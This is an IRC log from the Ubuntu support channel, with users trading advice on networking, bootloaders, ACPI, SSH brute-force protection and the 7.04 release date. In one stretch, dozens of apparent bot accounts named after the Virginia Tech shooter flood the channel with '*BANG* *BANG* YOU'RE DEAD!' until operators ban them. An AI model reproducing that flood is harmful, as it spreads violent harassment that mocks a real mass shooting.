[09:33] <Pelo> JacktheHomeless,  intsll if from the repos it should work out of the box
[09:33] <offspring> I installed server. I find I need a GUI interface. I've mostly installed the desktop but I missed something. I burned a desktop.iso, but something was wonky.  It kept booting off the cd, so I saw the desktop but it wasn't installing on my ccomputer.
[09:33] <tommytom> !Ktorrent | JacktheHomeless
[09:33] <ubotu> Sorry, I don't know anything about ktorrent - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[09:33] <zanexx297> its wireless that requires a username and password.
[09:33] <POVaddct> kerik: you must run apt-get update first
[09:33] <PriceChild> verb3k, haven't a clue, doubt it. Get the dvd image
[09:33] <Pelo> crackintosh,  gnome-terminal ? check the menus
[09:33] <kerik> POVaddct: DOH! - of course I must! :p
[09:33] <verb3k> PriceChild: it's huge :) 4G+
[09:33] <JacktheHomeless> Pelo: it does, but the version in the repo's is out of date. One of the trackers I use requires me to have at least version 2.
[09:34] <tommytom> crackintosh: you have the wrong keyboard layout
[09:34] <PriceChild> verb3k, but it includes the entire main and universe
[09:34] <POVaddct> kerik: i hope you grabbed the correct sources.list  (dapper)  you run dapper, right?
[09:34] <bubuntu> POVaddct, okay should i copy all information on eth0 here?
[09:34] <zanexx297> you could classify it as dial up , but it doesnt dial a modem
[09:34] <Stoffer> can someone please point me to a good tutorial on dual booting windows & ubuntu?  I've already have windows installed, and about 220GB of unformatted space left over.
[09:34] <POVaddct> bubuntu: no, dont paste multiple lines here
[09:34] <kerik> POVaddct: yeah I did see that one...
[09:34] <BaACkUp> hmm
[09:34] <POVaddct> bubuntu: you pastebin
[09:34] <kbrooks_> Stoffer, 220 gb is amazing
[09:34] <POVaddct> !pastebin | bubuntu
[09:34] <BaACkUp> kick a few users.. too much lag man !
[09:34] <ubotu> bubuntu: pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (make sure you give us the URL for your paste - see also the #ubuntu channel topic)
[09:34] <tommytom> crackintosh: you have to set it to EnUS or w/e your locality is
[09:34] <kerik> POVaddct: so I took both the official and the other ones...
[09:34] <Pelo> JacktheHomeless,  just get a .deb package if they have it, other wise compile from source,   all you need to do that is in here  http://cutlersoftware.com/ubuntuinstall/
[09:34] <kbrooks_> Stoffer, i wish i had that much.
[09:34] <abb0tt-1> I have found this file that i believe is a bug fix, abiword_grammar.debdiff, is this a patch and how do i "run" this patch?
[09:34] <verb3k> PriceChild: I know ...but I don't usually use these so much ...anyway thanks for your precious time
[09:35] <Stoffer> kbrooks_: most of it will be a shared partition for ubuntu & windows.... that's the trick
[09:35] <kbrooks_> Stoffer, oh.
[09:35] <POVaddct> kerik: yeah. just wanted to make sure you take dapper, not edgy
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[09:35] <Cho_Seung-Huinh> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huiqh> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huinl> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huiio> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huiiy> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huipa> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huion> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huiqv> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huixk> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huisk> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huijx> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huirg> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huibx> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huidf> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huiht> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huieh> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huizk> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huidz> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huijr> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huium> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huiiv> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huizt> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huicj> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huign> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huilg> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huivg> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huitl> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huimo> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huifi> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huizp> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huivw> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huijw> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huihw> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huias> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huipc> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huiqh> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huixy> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huigg> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huihc> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huied> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huihy> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huivi> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huipq> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huiah> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huihd> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huiiy> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huirg> *BANG* *BANG* YOU'RE DEAD!
[09:35] <dwhdef> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huiot> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huibn> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huion> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huiio> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huijx> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huixk> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huipa> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huiqv> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huibx> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huinl> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huisk> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huizp> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huifi> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huijw> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huihc> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huixy> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huihd> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huibn> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huinl> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huivw> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huiah> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huigg> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huidf> *BANG* *BANG* YOU'RE DEAD!
[09:35] <dwhdef> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huied> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huihy> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huijr> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huipc> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huihw> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huias> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huiiv> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huivi> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huion> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huipq> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huiio> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huixk> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huiiy> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huiht> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huipa> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huizk> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huinh> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huium> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huizt> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huiqh> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huieh> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huibx> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huilg> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huijx> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huirg> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huicj> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huign> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huidz> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huidz> *BANG* *BANG* YOU'RE DEAD!
[09:35] <Cho_Seung-Huidf> *BANG* *BANG* YOU'RE DEAD!
[09:35] <drewzf> I told you! some kind of poonjab botnet.
[09:35] <drewzf> I knew it was coming.
[09:35] <Pelo> zanexx297,  please type the nick of the personn you are talking to , it helps us notice you,   to set up a dsl connection open the terminal , type sudo pppoeconf and  follow instructions
[09:35] <PriceChild> !traffoc
[09:35] <ubotu> Sorry, I don't know anything about traffoc - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[09:36] <PriceChild> !traffic
[09:36] <ubotu> NOTICE - There is a lot of traffic in this channel at the moment. Please try to keep your sentences into a single message, avoid repeating the same question multiple times, use http://paste.ubuntu-nl.org for pasting, remember to mention the nickname of the person you're addressing, and join #ubuntu-offtopic for anything that is not Ubuntu support. Thank you for understanding!
[09:36] <Stoffer> wtf
[09:36] <LjL> !traffic
[09:36] <PriceChild> !traffic
[09:36] <LjL> NOTICE - The channel is temporarily moderated, sorry for the inconvenience. Please keep talking, your messages will be relayed.
[09:36] <Pelo> zanexx297,  please type the nick of the personn you are talking to , it helps us notice you,   to set up a dsl connection open the terminal , type sudo pppoeconf and  follow instructions
[09:36] <RichiH> i klined them all
[09:36] <LjL> RichiH: thanks
[09:36] <RichiH> np
[09:37] <kerik> POVaddct: thanks anyway :) -  I could easily have missed it :)
[09:37] <zanexx297> Pelo sorry and thanks
[09:37] <bubuntu> POVaddct, i see three lo, eth0 and sit0
[09:37] <eifzon> what is commando do configure x0rg?
[09:37] <kbrooks>  /msg MemoServ LIST
[09:37] <kbrooks> er
[09:37] <POVaddct> bubuntu: so only one eth interface
[09:37] <Pelo> eifzon,   sudo dpck-reconfigure xserver-xorg
[09:37] <bubuntu> POVaddct, yes. seems like it.
[09:37] <POVaddct> bubuntu: is it's like type "link/ether"?
[09:38] <JacktheHomeless> eifzon:  its dpkg not dpcg
[09:38] <Death_Sargent> im on a toshiba laptop and my acpi does not work for shit with ubuntu
[09:38] <Death_Sargent> http://paste.ubuntu-nl.org/16300/ is my dmesg
[09:38] <richiefrich> Death_Sargent: it might be foobared
[09:38] <POVaddct> Death_Sargent: acpi _is_ shit
[09:38] <bubuntu> POVaddct, link/ether yes
[09:38] <PriceChild> !ohmy
[09:38] <ubotu> Please watch your language and keep this channel family friendly.
[09:38] <richiefrich> Death_Sargent: did you try to fix it
[09:38] <POVaddct> bubuntu: okay
[09:38] <Death_Sargent> anyone have links
[09:38] <Pelo> Death_Sargent,  check the forum for your model,  I bet there is a fix in there
[09:39] <Death_Sargent> that's what im doing now
[09:39] <Death_Sargent> the first one
[09:39] <Stoffer> here's another question:  when I tried to setup wireless networking from the livecd, I think I set it up correctly w/ the network manager but I still had no connection.  Is there something else I need to do besides enabling it and setting it up for it to connect?
[09:39] <POVaddct> PriceChild: i think its much more important to keep the channel botnet-free
[09:39] <PriceChild> POVaddct, please watch your language
[09:39] <Pelo> later folks
[09:39] <xavickson> Hey guys, how many hours are left for the release of Ubuntu 7.04 (I need to know because I'm in a diferent timezone...) ?
[09:39] <POVaddct> PriceChild: the silly language police thing annoys me
[09:40] <bokey> xavickson: I am waiting too
[09:40] <jrib> xavickson: there is no set hour
[09:40] <Stoffer> ubuntu 7 is coming out today?
[09:40] <richiefrich> Death_Sargent: whats your lappy ?
[09:40] <richiefrich> Death_Sargent:  toshiba what ?
[09:40] <Stoffer> I guess I should wait for that instead of installing 6.1
[09:40] <mc44> POVaddct: and swearing annoys lots of other people. c'est la vie
[09:40] <piksi> "today" is a quite
[09:40] <nrl> I have a problem after installing ubuntu that my bios won't load grub up but grub seems to be installed correctly as if I put in the install CD and choose boot from first HDD it works. grub worked fine with debian unstable wich was installed previously. any ideas?
[09:41] <bubuntu> POVaddct,now what?
[09:41] <xavickson> bokey, jrib: so when did they start saying that "it's going to be released tomorow" ? When is tomorow ?
[09:41] <Wikzo> Which site do you think is the best to find a torrent and download 7.04?
[09:41] <mc44> xavickson: the 19th
[09:41] <jrib> xavickson: it means "when it is ready"
[09:41] <kerik> POVaddct: hehe....I forgot...what was deborphan for?
[09:41] <Stoffer> oh boo! tomorrow for 7?  Should I wait or install 6.1 today??
[09:41] <bokey> !feisty | xavickson
[09:41] <ubotu> xavickson: The next version of Ubuntu (7.04; codenamed "Feisty Fawn") should be released in April 2007. Beta is out! http://www.ubuntu.com/news/Ubuntu704Beta Schedule: !schedule - Specifications (goals): https://features.launchpad.net/distros/ubuntu/feisty - Help and support in #ubuntu+1 (NOT #ubuntu)
[09:41] <mc44> jrib: any chance of changing the topic to reflect that :)
[09:41] <POVaddct> bubuntu: sudo killall dhclient ; sudo killall dhclient3 ; sudo ifconfig eth0 up
[09:41] <arkivist> I want to get some control over the names that my USB flash drive as they appear in /media.
[09:41] <PriceChild> Stoffer, I'd wait ;)
[09:41] <piksi> Stoffer: what's the hurry? you can always dist-upgrade
[09:41] <Lbawinowns> Anyone ever got an engine game working on eboard, or can anyone recommend other chess interface?
[09:42] <arkivist> Can someone point me to docs for this config?
[09:42] <richiefrich> Death_Sargent: install  iasl  and then do ->  sudo cat /proc/acpi/dsdt > dsdt.dat && sudo iasl -d dsdt.dat && iasl -tc dsdt.dsl
[09:42] <xavickson> !schedule
[09:42] <ubotu> Ubuntu releases a new version every 6 months. Each version is supported for 18 months to 5 years. More info at http://www.ubuntu.com/ubuntu/releases & http://wiki.ubuntu.com/TimeBasedReleases
[09:42] <YetiChick> nrl: If the boot order has been changed in your BIOS, you might need to modify your grub files by hand after a fresh install.
[09:42] <thoreauputic> arkivist: google " writing udev rules"
[09:42] <POVaddct> kerik: deborphan lists library packages that are not referenced by other packages (so they can probably be removed)
[09:42] <Waaaaahbulance> hi
[09:42] <Stoffer> piksi: so it's no big deal upgrading tomorrow if I install 6.1 today?  I have very limited time to play w/ stuff like this
[09:42] <WaxyFresh> POVaddct, its for finding unused files,its pointless in fiesty its been repleced by sudo apt-get autoremove
[09:42] <kerik> POVaddct: so I can actually remove them from in there?
[09:43] <piksi> Stoffer: well then you should propably wait till tomorrow, it's not that long
[09:43] <POVaddct> kerik: there is also   apt-get get autoremove   which does nearly the same
[09:43] <kerik> POVaddct: or is it just for finding it..?
[09:43] <POVaddct> WaxyFresh: yeah, i was just about to say that .)
[09:43] <arkivist> thoreauputic: thanks, that's the stuff.
[09:43] <piksi> Stoffer: no, dist-upgrading is not a big deal but if you wait ~24hrs you'll save even that effort
[09:43] <kerik> POVaddct: whats the difference of autoremove and remove?
[09:43] <POVaddct> kerik: deborphan is just for finding
[09:43] <bubuntu> POVaddct,  first command no dhclient no process killed
[09:43] <kerik> POVaddct: ok :)
[09:43] <Death_Sargent> forums are useless
[09:43] <POVaddct> kerik: remove expects a package name
[09:43] <zanexx297> POV how do i log on as a root user?
[09:43] <Death_Sargent> please help
[09:44] <POVaddct> kerik: autoremove doesn't
[09:44] <richiefrich> Death_Sargent: install  iasl  and then do ->  sudo cat /proc/acpi/dsdt > dsdt.dat && sudo iasl -d dsdt.dat && iasl -tc dsdt.dsl
[09:44] <JacktheHomeless> Ok im getting errors with Ktorrent, anyone wanna help me sort these out?
[09:44] <POVaddct> zanexx297: sudo -s
[09:44] <POVaddct> bubuntu: okay
[09:44] <bubuntu> POVaddct,  second command return to prompt
[09:44] <thoreauputic> !root | zanexx297
[09:44] <richiefrich> Death_Sargent: you dont pay attention it seems
[09:44] <POVaddct> bubuntu: now do:   sudo tcpdump -ni eth0   again
[09:44] <kerik> POVaddct: but how does it remove without packagename?...
[09:44] <POVaddct> bubuntu: and let it run for a while
[09:44] <thoreauputic> did ubotu take a holiday ?
[09:44] <bubuntu> POVaddct,  third command return to prompt
[09:44] <stefg> Stoffer: /j #ubuntu+1 see the link in /topic there, get a release candidate CD and install that. Tha would the least work intensive way (given that you do not suffer from too many feisty bugs :-) )
[09:45] <zanexx297> POV thanks
[09:45] <POVaddct> kerik: apt-get autoremove   removes unused lib packages
[09:45] <bubuntu> POVaddct, eth0 no ipv4 address assigned
[09:45] <kerik> POVaddct: now I got it.. :)
[09:45] <POVaddct> kerik: good .)
[09:45] <POVaddct> bubuntu: thats okay
[09:46] <POVaddct> bubuntu: but leave it running
[09:46] <kerik> POVaddct: and now I will let you serve all the other guys ;) - and thanks once again
[09:46] <JacktheHomeless> Ktorrent keeps crashing and I'm getting errors in terminal. Anyone care to help me sort this out?
[09:46] <POVaddct> kerik: mange hilsner fra tyskland :] 
[09:46] <Death_Sargent> richiefrich: I get this in turn http://paste.ubuntu-nl.org/16303/
[09:46] <kerik> POVaddct: sejt du kan lidt dansk ;)
[09:47] <Death_Sargent>  richiefrich: sorry I was searching the forums
[09:47] <Popoi> Feisty Fawn will be released at 12am?
[09:47] <PriceChild> Popoi, when its finished
[09:47] <kerik> POVaddct: and even with the right "syntax" - nice to see
[09:47] <richiefrich> Death_Sargent: np
[09:47] <POVaddct> kerik: jeg har vrt til danmark ti timer
[09:47] <nrl> YetiChick: which grub files? I'm not sure I know what you mean. anyway the configuration seems to be correct as if I get the CD to invoke grub on my HDD it works
[09:47] <mc44> PriceChild: "ready" not "finished" :p
[09:47] <PriceChild> pfft
[09:47] <Popoi> PriceChild: Oh, then It will be at any hour tomorrow
[09:47] <richiefrich> Death_Sargent: let me give you a page .. http://gentoo-wiki.com/HOWTO_Fix_Common_ACPI_Problems  .. YES its gentoo wiki but follow it
[09:48] <richiefrich> Death_Sargent: :D
[09:48] <mc44> PriceChild: itll never be finished :p
[09:48] <Death_Sargent> richiefrich: you know I had getno once
[09:48] <movieman> Hi all.
[09:48] <WaxyFresh> is there anyway to make my desktop background a terminai?
[09:48] <Death_Sargent> loved it short of the crappy install speed
[09:48] <WaxyFresh> terminal^^
[09:48] <POVaddct> bubuntu: did you already see some packages in the tcpdump output?
[09:48] <kerik> POVaddct: you've been in denmark 10 times or for ten hours?
[09:49] <POVaddct> kerik: 10 times i guess
[09:49] <richiefrich> Death_Sargent: ooh, nope i didnt nkow
[09:49] <POVaddct> kerik: or 8
[09:49] <YetiChick> nrl:  Do you even get a grub screen when you boot?
[09:49] <movieman> i have a server running ubuntu 6.06 but the language is in french does any1 have the command line option to reconfigure it so i can change it to english please.
[09:49] <richiefrich> Death_Sargent: im still on it im just bored
[09:49] <nrl> YetiChick: nope
[09:49] <kerik> POVaddct: oh :) cause if only for 10 hours that's pretty darn good work on the grammar
[09:49] <Stoffer> stefg: thanks for the advice, but I may do 6.1 because I already have the disk, and burning another would require downloading software...which would take until tomorrow anyway
[09:49] <POVaddct> kerik: hehe
[09:49] <BaACkUp> !ping me
[09:49] <Paul_UK> !ping me fiesty :P
[09:49] <richiefrich> Death_Sargent: and #gentoo is dead .. so i thought i can help here :D
[09:49] <bubuntu> POVaddct, still waiting... eth0 listening
[09:50] <POVaddct> bubuntu: what are you running on the notebook? windows?
[09:50] <ks> can I have ubuntu as small as possible ?
[09:50] <bubuntu> POVaddct,  Knoppix LiveCD. FreeBSD on the hard disk.
[09:50] <Popoi> nooo, dont tell "win***" here :O
[09:50] <ks> currently it is 4.4Gb
[09:50] <kerik> POVaddct: I guess I will go somewhere quiet :).. see you around
[09:51] <YetiChick> nrl:  Hm.  Are you sure you wrote grub to the MBR of the boot drive?
[09:51] <POVaddct> kerik: cu!
[09:51] <POVaddct> bubuntu: can you ping from knoppix to the router?
[09:51] <richiefrich> Death_Sargent: the way i read it.. you should   edit dsdt.dsl  and recompile it
[09:51] <YetiChick> nrl:  How many hard drives are in the machine?
[09:51] <kerik> POVaddct: oh one last thing...do you know a nice torrent app?
[09:51] <POVaddct> kerik: erm, dunno sorry
[09:52] <nrl> YetiChick: when you boot up the cd you can choose boot from first hdd which then gives me grub and boots, I presume it is getting grub from my mbr and not just guessing the config. I have one hdd, this is a laptop
[09:52] <POVaddct> kerik: i always visit friends with my notebook to share files :)
[09:52] <LjL> !torrent > kerik    (kerik, see the private message from Ubotu)
[09:52] <kerik> POVaddct: :) good plan :)
[09:52] <Paul_UK> does anyone know a better rdp client than rdesktop?
[09:52] <my_haz> where are are the deb files stored when you do an LTS update?
[09:52] <richiefrich> Death_Sargent: i really hope this helps you out ;)  cause i dont like  acpi  but on a lappy you kinda need it
[09:52] <bubuntu> POVaddct, Yep it pings from here
[09:53] <jlist> hi all, i have a question - from command line, is there a way to tell that i'm on ubuntu, and not other distros like redhat, suse, etc.?
[09:53] <nrl> YetiChick: I have tried reinstalling both with grub-install and using root then setup in grub which both report to work but don't change the situation
[09:53] <kerik> LjL: sorry what msg?
[09:53] <ardchoille> jlist: lsb_release -a
[09:53] <stefg> Stoffer: i you are going to upgrade tomorrow, you'll d/l another 6-700 MB anyway, not as CD, but as upgrade packs
[09:53] <POVaddct> bubuntu: and can you see some packets in the tcpdump output now? some arp who-has for example?
[09:53] <LjL> kerik: the one that didn't come. the bot is being very laggy, hold on a little while and you'll get the message (hopefully)... sorry
[09:53] <noelferreira> hi people. the  version 7.04 of ubuntu is already released?
[09:53] <roryy> my_haz: apt puts downloaded debs in /var/cache/apt/archives
[09:53] <LjL> noelferreira: no
[09:53] <baggito> hi. i have a lucida typewriter font, but i don't know where it came from. i want to install it on a new install... anyone have any clues on this?
[09:54] <noelferreira> when it will be LjL?
[09:54] <Paul_UK> noelferreira: no and what a shame! :(
[09:54] <my_haz> roryy: thanks
[09:54] <LjL> noelferreira: sometime
[09:54] <pyr0000> hello i have a problem. i installed ubuntu on my other laptop and the wireless works fine out of the box, but when i update it says that it can not find the device. i have a ar5212 wireless chipset. and i am running edgy
[09:54] <noelferreira> there's any date for it LjL?
[09:54] <bubuntu> POVaddct, nope tcpdump is just blinking cursor right now...  some arp who has is that a command?
[09:54] <ben__> I'm sorry, I'm forgetting how to use IRC.  Is there a channel I should join for Ubunut Security?
[09:54] <LjL> noelferreira: april 19. indicatively.
[09:54] <YetiChick> nrl:  Have you tried temporarily disabling other boot devices in the BIOS?  I had a laptop once that would not boot from the hard drive if any other boot device came first in the boot sequence, even if there was no bootable media in them.
[09:54] <ben__> I also can't recall how to change my display name.
[09:54] <my_haz> jlist: heh, that seems like such a simple question, but i can't think of a way to do it off the top of my head
[09:54] <noelferreira> you mean tomorrow? LjL
[09:54] <jlist> ardchoille: thanks! that works! Is there a way to tell that i'm running other unix? say, aix, hpux, solaris?
[09:54] <LjL> ben__: 1) no, there's just this channel for generic support  2) /nick nickname
[09:55] <LjL> noelferreira: where i am it's tomorrow, yes
[09:55] <YetiChick> nrl:  What kind of a laptop is it?
[09:55] <ardchoille> jlist: I do't know, I haven't used any of those.
[09:55] <nrl> YetiChick: I'll give that a try, brb irc on my laptop :)
[09:55] <Seraphire> LjL, Thanks.
[09:55] <noelferreira> so where i can go to see if it is already out?
[09:55] <baggito> how can i locate the physical location of a file that a font comes from?
[09:55] <stefg> pyr0000: probably you got a new kernel and need to copy a firmware file over
[09:55] <YetiChick> nrl:  Good luck.
[09:55] <LjL> noelferreira: www.ubuntu.com i suppose. or here
[09:55] <POVaddct> bubuntu: no, arp who-has is a arp request packet
[09:55] <ks> what's leanest configuration for ubuntu ?
[09:55] <noelferreira> ok
[09:55] <LjL> noelferreira: you'll see it in the topic if it's released
[09:55] <noelferreira> thanks
[09:55] <noelferreira> ok
[09:55] <noelferreira> bye
[09:55] <kerik> LjL: hmm...there was supposed to be a msg sometime soon?
[09:55] <nrl> YetiChick: evesham something or other with pentium m, I've had it for a couple of years so don't remember exactly
[09:55] <POVaddct> bubuntu: it is sent to know which mac address belongs to which ip address
[09:56] <WaxyFresh> ks, xubuntu
[09:56] <my_haz> jlist: for the record "gcc --version" tends to show that info
[09:56] <jlist> ardchoille: np. thanks
[09:56] <LjL> kerik: yes, bot is having serious problems though
[09:56] <WaxyFresh> is there anyway to make my desktop background a terminal?
[09:56] <POVaddct> bubuntu: the knoppix machine sent one when you pinged and the ubuntu box should see it
[09:56] <Seraphire> Question then:  I have someone that's trying dictionary attacks against my Ubuntu box.  Is there a way I can configure SSH so that it not let someone continue to try and log into my box after a certain number of failures?
[09:56] <pyr0000> well i tried to do the madwifi install and it would not "make" got a whole bunch of errors. not i cant see my wifi adapyter is there a way to get it back
[09:56] <robdeman> hi folks... the Ubuntu 7.04 ... how much will it be better for a server? I now run Ubuntu 6.10 / LAMP / no gui
[09:56] <POVaddct> bubuntu: if not, i guess there is a problem with either the cable or the card itself
[09:56] <kerik> LjL: obkb :)
[09:56] <jlist> my_haz: you are right. But on some of them, gcc is not installed
[09:56] <jrib> Seraphire: look into denyhosts
[09:56] <rycuda> Seraphire try DenyHosts
[09:56] <cyberfr0g`> hi
[09:56] <HYPOCRISY> yo
[09:56] <WaxyFresh> Seraphire, denyhosts
[09:56] <stefg> !wifi | pyr0000 , in case that helps
[09:57] <WaxyFresh> Seraphire, or turn off ssh
[09:57] <Slick> Hey guys, it looks like ubuntu will be used on dell laptops, michael dell has just got a personal laptop with ubuntu feisty running on it http://direct2dell.com/
[09:57] <Paul_UK> does anyone know a better rdp client than rdesktop?
[09:57] <pyr0000> !wifi
[09:57] <my_haz> jlist: word, i am always a bit suprised not to find gcc on a UNIX box :-{
[09:57] <Seraphire> jrib, rycuda, WaxyFresh: I'll look does that just do a specific IP or a policy?
[09:57] <roryy> Seraphire: or ask in #openssh
[09:57] <stefg> !test
[09:57] <bubuntu> POVaddct, tcpdump sends no info. i am still pinging from this box...
[09:57] <Seraphire> roryy, I'll check #openssh Thanks.
[09:57] <stefg> ubotu is asleep
[09:57] <spolyak> go feisty fawn! w00t!
[09:57] <Seraphire> WaxyFresh, I need SSH open as we don't all have console access.
[09:57] <rycuda> It's policy based Seraphire
[09:57] <Arzakon> Hi
[09:58] <babo>  sudo /etc/init.d/postgresql restart
[09:58] <bubuntu> POVaddct, what does arp look like? what am i looking for. no new info from  dump
[09:58] <cyberfr0g`> private
[09:58] <HYPOCRISY> good
[09:58] <babo> where am i going wrong ... ?
[09:58] <thekidrio> http://www.devilducky.com/media/60668/
[09:58] <thekidrio> oops sorry
[09:58] <POVaddct> bubuntu: wait i'll make a screenshot
[09:58] <thekidrio> wrong channel
[09:58] <n00t2> anyone have experience with installing from the 6.06 (dapper) cd to a software RAID 5 setup? using the disk to create the software RAID 5?
[09:58] <kerik> goodnight everyone :)
[09:58] <jlist> my_haz: i'm on a solaris box that doesn't have gcc :)
[09:58] <jano_> how come I cant set my resolution higher than 1024*768? I have enabled higher in xorg.conf, but they wont show up..
[09:58] <Seraphire> Thanks all, checking #openssh
[09:59] <movieman> i have a server running ubuntu 6.06 but the language is in french does any1 have the command line option to reconfigure it so i can change it to english please.
[09:59] <my_haz> jlist: to quote pinkfloyd suprise, suprise supries
[09:59] <spolyak> jano, it will try to read valid modes
[09:59] <WaxyFresh> is there anyway to make my desktop background a terminal?
[09:59] <WaxyFresh> ^^^work like a term
[09:59] <Arzakon> someone knows at what hour ubuntu 7.04 will be released?
[09:59] <jlist> my_haz: ubuntu doesn't have it unless i install build-essential, or am i wrong?
